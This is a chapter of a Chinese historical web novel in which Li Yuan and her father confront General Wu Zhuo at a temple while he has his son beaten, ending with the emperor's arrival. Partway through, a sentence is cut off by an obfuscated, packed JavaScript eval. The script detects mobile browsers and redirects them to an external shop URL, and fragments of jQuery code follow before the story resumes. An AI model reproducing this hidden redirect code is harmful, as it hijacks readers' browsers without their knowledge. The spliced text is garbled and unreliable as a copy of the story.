马车到了万佛寺。
黎哲正欲下车,黎沅叫住了他。
“爹,你可想好等一下怎么做?”
黎哲胸有成竹道:“当然是以理服人。”
黎沅知她爹虽然接待过不少漠北使节,但这些人在来大燕至少收敛了几分,不会动武,她爹没有见识到像梧卓这样说不过就打人的武将。
“如果他动手呢?”
动手?黎哲扬眉道:“朗朗乾坤,他梧卓竟敢动手?”
果然这些燕京的大臣不知道像梧卓这种手握大权的边关土皇帝这些年在边关到底长成了多么深厚的实力。
不光动手,这些人将连篡位都敢!
黎沅耐心问道:“爹,万一他就是敢动手呢?你打也打不过人家,到时候怎么办?难道就灰溜溜地回去了?”
黎哲大喊道:“怎么可能,如果他真的动手,那我也不怕,爹曾多次陪着外国使节来万佛寺,主持无了大师座下的大弟子空明大师跟我熟识得很,若是他真的动手,我就让空明大师来为我主持公道。”
听到黎哲这样说了,黎沅心里有了底。
三人下了马车,门口接待的和尚认识黎哲,听说他是来找梧卓的,就将他带去鸣翠阁的厢房,那里是皇家贵族的人才能住的,梧卓也是因为皇上的旨意才能住在这里。
上一世,鸣翠阁黎沅进宫后,来过很多次,这里景色秀美,风景宜人,一看就是风水宝地。
和尚领着三人走到西厢房:“梧施主就住在这里,黎大人自行进去便是。”
说完正欲离去,被黎沅叫住了。
“师傅可否在这里稍后片刻?待会有事可能需要麻烦师傅。”
和尚面露难色:“可是我还得回去守着寺门才行,要是被师兄发现我迟迟不归,定是以为我又去哪里贪玩了……”
黎沅道:“没事,如果你师兄到时候责罚你,我会替你解释的。”
和尚这才说道:“好吧!”
黎沅道过谢,三人刚走进庭院,便听到有人数数的声音。
“八十七,八十八……”
黎沅加快了脚步,穿过庭院。
只见梧栖赤着上身被绑在一条长凳上,双手双脚都捆得死死的,丁伯正举着一根与人齐高的棍子,一棍一棍地朝他打去,旁边还有一个年轻男子正在计数。
梧卓与梧夫人端坐后方,梧漾手臂已经包扎起来,立在金元月身旁。
在场众人中,唯有陆茗满脸担忧地望着梧栖。
见到黎沅一行人,丁伯先停了下来。
梧卓面露惊色,金元月却神色如常,梧漾先是一怔,随即开口道:“黎沅?你来得正好,你不是想嫁进我们梧府吗?正好提前见识见识我们家的家风!”
梧栖从长凳上抬起头,他满头大汗,脸色苍白,黎沅还是第一次看到他这般虚弱的样子。
崔云意哪里见过这等血腥的场面,险些晕厥过去,黎哲将她扶稳,他虽也心中一震,但毕竟在官场沉浮多年,早已练就一副泰山崩于前而色不变的气度。
他先拱手行了一礼,随即望向梧卓道:“梧将军、梧夫人,黎某今日前来,是为三小姐恶意伤我府上婢女一事讨个说法。”
梧卓斜着脸看了他一眼:“黎大人,老夫正在教训我的儿子,若是你想讨说法,现在不是时候。”
黎哲没想到梧卓竟然对他这般不客气,冷哼了一声:“黎某还从来没有听说过讨说法苦主还要看侵害之人有没有空的,敢问梧将军,你领兵打仗时,对方将领若是在教训他的儿子,你是不是也要等着?”
梧卓一听这话,气得鼻子都歪了,脸上的横肉都抖了两下。
“姓黎的,你个龟孙……”
眼看他骂骂咧咧就在站起来,一旁的金元月按住了他的手。
梧卓看了看金元月,闭上了嘴。
金元月冷着脸道:“黎大人果然好口才,不知黎大人专门前来,是想讨一个什么样的公道。”
黎哲郎声道:“按照大燕律法,恶意伤人者,杖责一百,流三千里。”
梧漾一听,骂道:“我呸,不过是伤了一个丫鬟,居然想打我一百杖,门都没有。”
黎哲:“梧三小姐这是在唾骂大燕律法?”
梧漾:“………………”
隔了半晌才说道:“我……我没有……你别……别乱说。”
金元月道:“既然黎大人搬出了大燕律法,我们自然是认的,那就劳烦黎大人去京兆府递状纸吧,我们公堂见,现在还请你们离开。”
黎哲:“梧夫人黎某看不懂你。”
金元月愣了一下,冷着脸道:“我不明白黎大人什么意思。”
黎哲:“你可知黎某若是将此事告到了京兆府那里去,则整个燕京都会知道梧三小姐恶意伤人的事情,梧三小姐的名声可就毁了,我们燕京跟陇西的风俗不一样,女子名声格外重要,嫁娶不光看家世,更是看中名声,燕京的人只要一提起梧三小姐,都会想到那个恶意划伤别人脸的事,梧夫人生为三小姐的生母,竟然觉得责罚二公子更为重要,所以黎某才说,黎某看不懂梧夫人。”
金元月的脸也黑了起来。
正在这时,梧卓抓过桌上的茶杯一扔,那茶杯像长了眼睛一般向着黎哲黎沅飞过来。
黎哲脸色一变,没想到梧卓会动手,护着黎沅崔云意向后退了几步。
“老子再说一遍,给我滚!”又看向丁伯:“别停,继续打。”
丁伯举起棍子,又是一棍子打了下去。
“九十二”
“住手!”
黎沅清脆的声音和男人计数的声音交织在一起。
丁伯手中的板子蓦然顿在半空,抬眼望向黎沅,目中满是讥讽:“黎家女娃,你以为你是谁?就凭你,也拦得住我家大人?”
黎沅不语,神色未动。
丁伯等了片刻,见她始终沉默不语,冷哼一声,扬手便要落下……
“救命呀——杀人啦——救命呀——杀人啦——!”
刹那间,黎沅的尖叫声响彻整个院子。
众人还未回神,一直候在院外的和尚已快步跑了进来。
“怎么了?出了什么事?”
“小师傅,梧大人与我爹起了争执,拿杯子砸他!”黎沅语气急促,“你快去请空明大师过来……”
和尚面色一变,目光扫过院中情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724758|208813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
形,又望向黎哲,见黎哲微微颔首,他当即转身,飞快奔了出去。
和尚一来一去,速度极快,等到和尚走了,梧家人这才回过神来。
“好呀……你们一家人原来早就谋划好的……”梧漾骂道:“爹,他们今日来就是要给我们身上泼脏水的。”
梧卓满脸黑气,看着黎沅一家人。
黎哲被他的眼神吓住了,不由得缩了缩肩。
手突然被人拉住。
黎哲低头一看,是黎沅拉住了他的手,在梧卓的注视下朝着梧栖走了过去。
你可真是我的好姑娘……
黎哲在心里骂了一句,但此时梧家夫妇就在眼前,他只能装作一副无所畏惧的样子。
黎沅拉着她爹的手走到梧栖的身边,梧栖仰起头,他的嘴唇煞白,面无血色,背部一片血肉。
“泼脏水?扔杯的是你们梧家,伤人的也是你们梧家,你是怎么好意思说出来这三个字的?”
梧漾骂道:“黎沅,你给我等着……”
“漾儿!”金元月斥道,她看向丁伯:“还等什么,继续打。”
眼见丁伯举起棍子,黎沅推了一下一旁的爹,黎哲本就心里发虚,脚底发软,被黎沅一推,整个人伏在了梧栖的身上。
“谁敢动手?”
黎哲:……………………
崔云意:………………………
梧漾:…………………………
梧卓金元月:………………
“我爹可是朝廷五品命官,他这身子你们可看好了,能撑得住几个板子?”
黎哲:???????
黎哲在心里大骂,都说什么嫁出去的女儿泼出去的水,他这个女儿还没嫁出去胳膊肘就开始往外拐了…………
只是他已经被架在了这个位置之上,贸然起身更丢人,还不如顺水推舟。
丁伯看着伏在梧栖身上的这副身子,那是一点都不敢下手了。
他从小便力大无穷,单手可以举起几十斤的巨石,他这一杖下去,这姓黎的怕是没命了。
诡异的沉默在空气里蔓延,直到院子外响起脚步声。
众人看向来人,皆是一惊。
踏进院子的的人不是空明,而且大燕皇帝,赵安!
“参见皇上!”
众人行礼。
“平身!”赵安抬了抬手:“朕今日来为太后供往生经,听说两位爱卿打起来了,就过来看看。”
他一眼看到受罚的梧栖,也看到了趴在梧栖身上的黎哲。
“黎爱卿,你这是……”
黎哲刚才本就也想跪在行礼的,但是他毕竟年纪大了,身子骨不灵活了,就这样趴了一会儿,他竟然发现自己……脚抽筋了……
“沅儿,快扶爹起身。”黎哲低声道。
黎沅赶紧将她爹扶了起来。
“参见皇上!”
赵安扫了一眼众人:“两位爱卿,这是怎么一回事?”
黎哲抢先道:“皇上,你要为臣做主呀,梧大人他纵女行凶,用利器划伤了府上丫鬟的脸,还想暗害小女,臣今日就是来找他讨一个说法,没想到他居然还用茶杯砸臣!”